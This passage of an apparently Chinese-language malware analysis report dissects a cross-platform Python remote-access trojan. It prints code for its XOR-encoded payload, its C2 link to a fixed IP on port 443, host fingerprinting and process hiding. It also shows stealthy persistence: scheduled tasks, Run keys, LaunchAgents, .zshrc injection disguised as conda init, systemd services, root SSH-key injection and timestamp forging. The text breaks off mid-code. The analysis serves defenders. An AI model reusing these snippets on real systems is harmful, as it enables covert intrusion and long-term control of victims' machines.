code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">_E</span> = <span class="code-snippet__string">&#34;UDM3KjUoLnopNTk...&#34;</span> <span class="code-snippet__comment"># 省略，实际长度约 5KB</span></span></code><br/><code><span leaf=""><span class="code-snippet__attr">_K</span> = <span class="code-snippet__number">0</span>x5A</span></code><br/><code><span leaf=""><span class="code-snippet__attr">_d</span> = bytes([b ^ _K for b in base64.b64decode(_E)])</span></code><br/><code><span leaf=""><span class="code-snippet__attr">_code</span> = _d.decode()</span></code><br/></pre></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">5. RAT 载荷分析</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">解密后的载荷实现了一个完整的远控代理（RAT Agent），核心功能如下：</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.1 C2 通信</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">H=<span class="code-snippet__string">&#34;77.246.103.245&#34;</span></span></code><br/><code><span leaf="">P=<span class="code-snippet__number">443</span></span></code><br/><code><span leaf="">HB=<span class="code-snippet__number">15</span> <span class="code-snippet__comment"># 心跳间隔（秒）</span></span></code><br/><code><span leaf="">RB=<span class="code-snippet__number">5</span> <span class="code-snippet__comment"># 初始重连等待（秒）</span></span></code><br/><code><span leaf="">RM=<span class="code-snippet__number">120</span> <span class="code-snippet__comment"># 最大重连等待（秒）</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">sm</span>(<span class="code-snippet__params">s,m</span>):</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 发送消息：4字节大端长度头 + JSON 数据体</span></span></code><br/><code><span leaf="">d=json.dumps(m).encode()</span></code><br/><code><span leaf="">s.sendall(struct.pack(<span class="code-snippet__string">&#39;&gt;I&#39;</span>,<span class="code-snippet__built_in">len</span>(d))+d)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">rm</span>(<span class="code-snippet__params">s,t=</span><span class="code-snippet__params"><span class="code-snippet__number">45</span></span>):</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 接收消息：读取4字节长度头，再读取消息体（最大 10MB）</span></span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">return</span> json.loads(d)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">代理连接固定 C2 地址 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">77.246.103.245:443</span></code><span leaf="">，使用 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">SSL/TLS 加密</span></strong><span leaf="">通信，通过自定义的长度前缀 JSON 协议收发指令，心跳间隔 15 秒，断线后指数退避重连（最长 120 秒）。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.2 主机信息收集与上报</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">gi</span>():</span></code><br/><code><span leaf="">i={<span class="code-snippet__string">&#34;hostname&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;username&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;os_type&#34;</span>:<span class="code-snippet__string">&#34;?&#34;</span>,<span class="code-snippet__string">&#34;os_info&#34;</span>:<span class="code-snippet__string">&#34;&#34;</span>,<span class="code-snippet__string">&#34;pid&#34;</span>:os.getpid()}</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:i[<span class="code-snippet__string">&#34;hostname&#34;</span>]=platform.node()</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>:<span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:i[<span class="code-snippet__string">&#34;username&#34;</span>]=os.environ.get(<span class="code-snippet__string">&#34;USER&#34;</span>,os.environ.get(<span class="code-snippet__string">&#34;USERNAME&#34;</span>,<span class="code-snippet__string">&#34;?&#34;</span>))</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span>:<span class="code-snippet__keyword">pass</span></span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5.3 进程隐藏</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__comment"># Windows：隐藏控制台窗口</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> platform.system()==<span class="code-snippet__string">&#34;Windows&#34;</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">import</span> ctypes</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">w</span>=ctypes.windll.kernel32.GetConsoleWindow()</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> w:ctypes.windll.user32.ShowWindow(w,<span class="code-snippet__number">0</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">ctypes</span>.windll.kernel32.FreeConsole()</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># Linux/macOS：双 fork 守护进程化</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">else</span>:</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.fork()&gt;<span class="code-snippet__number">0</span>:sys.exit(<span class="code-snippet__number">0</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">os</span>.setsid()</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">if</span> os.fork()&gt;<span class="code-snippet__number">0</span>:sys.exit(<span class="code-snippet__number">0</span>)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台；在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程，脱离终端。</span></p><hr style="box-sizing: content-box;height: 0px;width: 780px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6. 多平台持久化</span></h1><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.1 Windows</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf=""># 落地路径：<span class="code-snippet__operator">%</span><span class="code-snippet__type">LOCALAPPDATA</span><span class="code-snippet__operator">%</span>\<span class="code-snippet__type">Microsoft</span>\<span class="code-snippet__type">Windows</span>\<span class="code-snippet__type">INetCache</span>\<span class="code-snippet__type">IE</span>\msedge_update.pyw</span></code><br/><code><span leaf="">_dir <span class="code-snippet__operator">=</span> os.path.join(os.environ.get(<span class="code-snippet__string">&#34;LOCALAPPDATA&#34;</span>,<span class="code-snippet__string">&#34;C:</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Users</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Public&#34;</span>),</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;Microsoft&#34;</span>,<span class="code-snippet__string">&#34;Windows&#34;</span>,<span class="code-snippet__string">&#34;INetCache&#34;</span>,<span class="code-snippet__string">&#34;IE&#34;</span>)</span></code><br/><code><span leaf="">_fp <span class="code-snippet__operator">=</span> os.path.join(_dir, <span class="code-snippet__string">&#34;msedge_update.pyw&#34;</span>)</span></code><br/><code><span leaf="">with <span class="code-snippet__keyword">open</span>(_fp, <span class="code-snippet__string">&#34;w&#34;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><br/><code><span leaf="">f.write(_code)</span></code><br/><code><span leaf=""># 设置隐藏<span class="code-snippet__operator">+</span>系统属性</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;attrib&#34;</span>,<span class="code-snippet__string">&#34;+H&#34;</span>,<span class="code-snippet__string">&#34;+S&#34;</span>,_fp], capture_output<span class="code-snippet__operator">=</span><span class="code-snippet__type">True</span>)</span></code><br/><code><span leaf=""># 时间戳伪造：对齐 cmd.exe 的时间戳</span></code><br/><code><span leaf="">_ref <span class="code-snippet__operator">=</span> os.path.join(os.environ.get(<span class="code-snippet__string">&#34;WINDIR&#34;</span>,<span class="code-snippet__string">&#34;C:</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows&#34;</span>),<span class="code-snippet__string">&#34;System32&#34;</span>,<span class="code-snippet__string">&#34;cmd.exe&#34;</span>)</span></code><br/><code><span leaf="">_st <span class="code-snippet__operator">=</span> os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""># 计划任务（<span class="code-snippet__type">ONLOGON，最高权限）</span></span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;schtasks&#34;</span>,<span class="code-snippet__string">&#34;/Create&#34;</span>,<span class="code-snippet__string">&#34;/TN&#34;</span>,<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Microsoft</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">WindowsUpdate</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">AU_Maint&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;/TR&#34;</span>,_tr,<span class="code-snippet__string">&#34;/SC&#34;</span>,<span class="code-snippet__string">&#34;ONLOGON&#34;</span>,<span class="code-snippet__string">&#34;/F&#34;</span>,<span class="code-snippet__string">&#34;/RL&#34;</span>,<span class="code-snippet__string">&#34;HIGHEST&#34;</span>], capture_output<span class="code-snippet__operator">=</span><span class="code-snippet__type">True</span>)</span></code><br/><code><span leaf=""># 注册表 <span class="code-snippet__type">Run</span> 键</span></code><br/><code><span leaf="">k<span class="code-snippet__operator">=</span>winreg.<span class="code-snippet__type">OpenKey</span>(winreg.<span class="code-snippet__type">HKEY_CURRENT_USER</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;Software</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Microsoft</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Windows</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">CurrentVersion</span><span class="code-snippet__string"><span class="code-snippet__subst">\\</span></span><span class="code-snippet__string">Run&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__number">0</span>,winreg.<span class="code-snippet__type">KEY_SET_VALUE</span>)</span></code><br/><code><span leaf="">winreg.<span class="code-snippet__type">SetValueEx</span>(k,<span class="code-snippet__string">&#34;NGenTask&#34;</span>,<span class="code-snippet__number">0</span>,winreg.<span class="code-snippet__type">REG_SZ</span>,_tr)</span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">载荷伪装为 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">msedge_update.pyw</span></code><span leaf="">（仿冒 Microsoft Edge 更新程序），存放于 INetCache 目录</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">设置隐藏+系统文件属性，普通用户不可见</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳对齐系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cmd.exe</span></code><span leaf="">，干扰取证分析</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">双重持久化：计划任务（用户登录时以最高权限启动）+ 注册表 Run 键</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">使用 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pythonw.exe</span></code><span leaf=""> 配合 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CREATE_NO_WINDOW</span></code><span leaf="">（</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">0x08000000</span></code><span leaf="">）标志启动，无任何可见窗口</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.2 macOS</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf=""><span class="code-snippet__comment"># 落地路径：~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py</span></span></code><br/><code><span leaf="">_dir = os.path.join(_home,<span class="code-snippet__string">&#34;Library&#34;</span>,<span class="code-snippet__string">&#34;.Caches&#34;</span>,<span class="code-snippet__string">&#34;.com.apple.cloudd&#34;</span>)</span></code><br/><code><span leaf="">_fp = os.path.join(_dir,<span class="code-snippet__string">&#34;cloudd_helper.py&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 时间戳伪造：对齐 /usr/bin/login</span></span></code><br/><code><span leaf="">_ref = <span class="code-snippet__string">&#34;/usr/bin/login&#34;</span></span></code><br/><code><span leaf="">_st = os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf="">os.utime(_dir, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># LaunchAgent 持久化</span></span></code><br/><code><span leaf="">_pd = {<span class="code-snippet__string">&#34;Label&#34;</span>:<span class="code-snippet__string">&#34;com.apple.icloud.cloudd&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;ProgramArguments&#34;</span>:[_py,_fp],</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;RunAtLoad&#34;</span>:True,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;KeepAlive&#34;</span>:{<span class="code-snippet__string">&#34;SuccessfulExit&#34;</span>:False},</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;StandardOutPath&#34;</span>:<span class="code-snippet__string">&#34;/dev/null&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;StandardErrorPath&#34;</span>:<span class="code-snippet__string">&#34;/dev/null&#34;</span>}</span></code><br/><code><span leaf="">with open(_plist,<span class="code-snippet__string">&#34;wb&#34;</span>) as f:</span></code><br/><code><span leaf="">plistlib.dump(_pd, f)</span></code><br/><code><span leaf="">subprocess.Popen([<span class="code-snippet__string">&#34;launchctl&#34;</span>,<span class="code-snippet__string">&#34;load&#34;</span>,<span class="code-snippet__string">&#34;-w&#34;</span>,_plist], ...)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># .zshrc 注入（伪装为 conda 初始化块）</span></span></code><br/><code><span leaf="">_block = <span class="code-snippet__string">&#34;\n# &gt;&gt;&gt; conda initialize &gt;&gt;&gt;\n&#34;</span></span></code><br/><code><span leaf="">_block += <span class="code-snippet__string">&#34;# !! Contents within this block are managed by &#39;conda init&#39; !!\n&#34;</span></span></code><br/><code><span leaf="">_block += f<span class="code-snippet__string">&#34;( {_py} {_fp} &amp;&gt;/dev/null &amp; ) 2&gt;/dev/null\n&#34;</span></span></code><br/><code><span leaf="">_block += <span class="code-snippet__string">&#34;# &lt;&lt;&lt; conda initialize &lt;&lt;&lt;\n&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># crontab 兜底</span></span></code><br/><code><span leaf="">_ct=_ct.rstrip()+<span class="code-snippet__string">&#34;\n@reboot &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; &amp;&gt;/dev/null &amp;\n&#34;</span></span></code><br/></pre></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">载荷伪装为 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">cloudd_helper.py</span></code><span leaf="">，目录名 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.com.apple.cloudd</span></code><span leaf=""> 仿冒苹果 iCloud 守护进程</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">时间戳同步至系统 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">/usr/bin/login</span></code><span leaf="">，目录时间戳也一并伪造</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">三重持久化：LaunchAgent（系统级）+ </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zshrc</span></code><span leaf="">/</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zprofile</span></code><span leaf=""> 注入 + crontab </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">@reboot</span></code></p></li><li style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.zshrc</span></code><p><span leaf=""> 注入内容伪装为 Conda 初始化代码块，极难被普通用户察觉</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6.3 Linux</span></h2><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__comment"># 落地路径（依权限）</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> _is_root:</span></code><br/><code><span leaf="">_<span class="code-snippet__built_in">dir</span> = <span class="code-snippet__string">&#34;/usr/lib/systemd/.systemd-journal-gcd&#34;</span>   <span class="code-snippet__comment"># root</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">else</span>:</span></code><br/><code><span leaf="">_<span class="code-snippet__built_in">dir</span> = os.path.join(_home,<span class="code-snippet__string">&#34;.local&#34;</span>,<span class="code-snippet__string">&#34;share&#34;</span>,<span class="code-snippet__string">&#34;.systemd-cache&#34;</span>)  <span class="code-snippet__comment"># 普通用户</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment"># 时间戳伪造：对齐 /bin/ls</span></span></code><br/><code><span leaf="">_ref = <span class="code-snippet__string">&#34;/bin/ls&#34;</span></span></code><br/><code><span leaf="">_st = os.stat(_ref)</span></code><br/><code><span leaf="">os.utime(_fp, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf="">os.utime(_<span class="code-snippet__built_in">dir</span>, (_st.st_atime, _st.st_mtime))</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># SSH 公钥注入（仅 root）</span></span></code><br/><code><span leaf="">_pk = <span class="code-snippet__string">&#34;ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...（省略）... ops&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(<span class="code-snippet__string">&#34;/root/.ssh/authorized_keys&#34;</span>,<span class="code-snippet__string">&#34;a&#34;</span>) <span class="code-snippet__keyword">as</span> f: f.write(<span class="code-snippet__string">&#34;\n&#34;</span>+_pk+<span class="code-snippet__string">&#34;\n&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># systemd 服务</span></span></code><br/><code><span leaf="">_svc = <span class="code-snippet__string">f&#34;[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart=</span><span class="code-snippet__string"><span class="code-snippet__subst">{_py}</span></span><span class="code-snippet__string"><span class="code-snippet__subst">{_fp}</span></span><span class="code-snippet__string">\nRestart=always\nRestartSec=30\n...&#34;</span></span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;systemctl&#34;</span>,<span class="code-snippet__string">&#34;enable&#34;</span>,_sn], ...)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;systemctl&#34;</span>,<span class="code-snippet__string">&#34;start&#34;</span>,_sn], ...)</span></code><br/><code><span leaf=""><span class="code-snippet__comment"># crontab（重启 + 每6小时检活）</span></span></code><br/><code><span leaf="">_ct+=<span class="code-snippet__string">&#34;@reboot &#34;</span>+_py+<span class="code-snippet__string">&#34; &#34;</span>+_fp+<span class="code-snippet__string">&#34; 